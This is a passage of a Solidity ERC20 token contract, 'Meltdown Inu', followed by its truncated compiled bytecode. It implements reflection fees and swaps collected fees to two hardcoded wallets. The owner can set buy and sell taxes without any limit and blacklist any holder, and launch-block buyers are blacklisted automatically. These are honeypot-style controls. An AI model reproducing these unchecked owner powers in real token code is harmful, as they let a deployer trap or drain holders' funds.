require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MeltdownInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Meltdown Inu";//
string private constant _symbol = "MELT";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 9;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 12;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xd6AF8108ead2b2989e7531922ec7746c5a26d67d);//
address payable private _marketingAddress = payable(0x93c279A95F944f649A751492668769Cc64bdBBB2);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 74000000 * 10**9; //
uint256 public _maxWalletSize = 124000000 * 10**9; //
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613044565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a1565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa4565b610869565b604051610264919061346b565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f9190613486565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613683565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f51565b6108bd565b6040516102f7919061346b565b60405180910390f35b34801561030c57600080fd5b50610315610996565b6040516103229190613683565b60405180910390f35b34801561033757600080fd5b5061034061099c565b60405161034d91906136f8565b60405180910390f35b34801561036257600080fd5b5061036b6109a5565b6040516103789190613450565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612eb7565b6109cb565b005b3480156103b657600080fd5b506103d160048036038101906103cc919061308d565b610abb565b005b3480156103df57600080fd5b506103e8610b6c565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612eb7565b610c3d565b60405161041e9190613683565b60405180910390f35b34801561043357600080fd5b5061043c610c8e565b005b34801561044a57600080fd5b50610465600480360381019061046091906130ba565b610de1565b005b34801561047357600080fd5b5061047c610e80565b6040516104899190613683565b60405180910390f35b34801561049e57600080fd5b506104a7610e86565b6040516104b49190613450565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df919061308d565b610eaf565b005b3480156104f257600080fd5b506104fb610f68565b6040516105089190613683565b60405180910390f35b34801561051d57600080fd5b50610526610f6e565b60405161053391906134a1565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130ba565b610fab565b005b34801561057157600080fd5b5061058c600480360381019061058791906130e7565b61104a565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa4565b611101565b6040516105c2919061346b565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612eb7565b61111f565b6040516105ff919061346b565b60405180910390f35b34801561061457600080fd5b5061061d61113f565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe4565b611218565b005b34801561065457600080fd5b5061065d611352565b60405161066a9190613683565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f11565b611358565b6040516106a79190613683565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130ba565b6113df565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612eb7565b61147e565b005b61070a611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e3565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a76565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139cf565b91505061079a565b5050565b60606040518060400160405280600c81526020017f4d656c74646f776e20496e750000000000000000000000000000000000000000815250905090565b600061087d610876611640565b8484611648565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000678ac7230489e80000905090565b60006108ca848484611813565b61098b846108d6611640565b61098685604051806060016040528060288152602001613f2460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093c611640565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f39092919063ffffffff16565b611648565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a57906135e3565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b47906135e3565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bad611640565b73ffffffffffffffffffffffffffffffffffffffff161480610c235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0b611640565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2c57600080fd5b6000479050610c3a81612257565b50565b6000610c87600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612352565b9050919050565b610c96611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a906135e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610de9611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6d906135e3565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb7611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3b906135e3565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600481526020017f4d454c5400000000000000000000000000000000000000000000000000000000815250905090565b610fb3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611040576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611037906135e3565b60405180910390fd5b8060198190555050565b611052611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d6906135e3565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111561110e611640565b8484611813565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611180611640565b73ffffffffffffffffffffffffffffffffffffffff1614806111f65750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111de611640565b73ffffffffffffffffffffffffffffffffffffffff16145b6111ff57600080fd5b600061120a30610c3d565b9050611215816123c0565b50565b611220611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a4906135e3565b60405180910390fd5b60005b8383905081101561134c5781600560008686858181106112d3576112d2613a76565b5b90506020020160208101906112e89190612eb7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611344906139cf565b9150506112b0565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e7611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146b906135e3565b60405180910390fd5b8060188190555050565b611486611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150a906135e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157a90613543565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90613663565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f90613563565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118069190613683565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a90613623565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ea906134c3565b60405180910390fd5b60008111611936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192d90613603565b60405180910390fd5b61193e610e86565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ac575061197c610e86565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef257601660149054906101000a900460ff16611a3b576119cd610e86565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a31906134e3565b60405180910390fd5b5b601754811115611a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7790613523565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b245750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5a90613583565b60405180910390fd5b6001600854611b7291906137b9565b4311158015611bce5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c285750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbe576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6b5760185481611d2084610c3d565b611d2a91906137b9565b10611d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6190613643565b60405180910390fd5b5b6000611d7630610c3d565b9050600060195482101590506017548210611d915760175491505b808015611dab5750601660159054906101000a900460ff16155b8015611e055750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1b575060168054906101000a900460ff165b8015611e715750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec75750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611eef57611ed5826123c0565b60004790506000811115611eed57611eec47612257565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205a57600090506121e1565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121055750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211d57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c85750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e057600b54600d81905550600c54600e819055505b5b6121ed84848484612648565b50505050565b600083831115829061223b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223291906134a1565b60405180910390fd5b506000838561224a919061389a565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a760028461267590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d2573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232360028461267590919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234e573d6000803e3d6000fd5b5050565b6000600654821115612399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239090613503565b60405180910390fd5b60006123a36126bf565b90506123b8818461267590919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f8576123f7613aa5565b5b6040519080825280602002602001820160405280156124265781602001602082028036833780820191505090505b509050308160008151811061243e5761243d613a76565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e057600080fd5b505afa1580156124f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125189190612ee4565b8160018151811061252c5761252b613a76565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259330601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611648565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f795949392919061369e565b600060405180830381600087803b15801561261157600080fd5b505af1158015612625573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612656576126556126ea565b5b61266184848461272d565b8061266f5761266e6128f8565b5b50505050565b60006126b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290c565b905092915050565b60008060006126cc61296f565b915091506126e3818361267590919063ffffffff16565b9250505090565b6000600d541480156126fe57506000600e54145b156127085761272b565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061273f876129ce565b95509550955095509550955061279d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287e81612ade565b6128888483612b9b565b8773ffffffffffffffff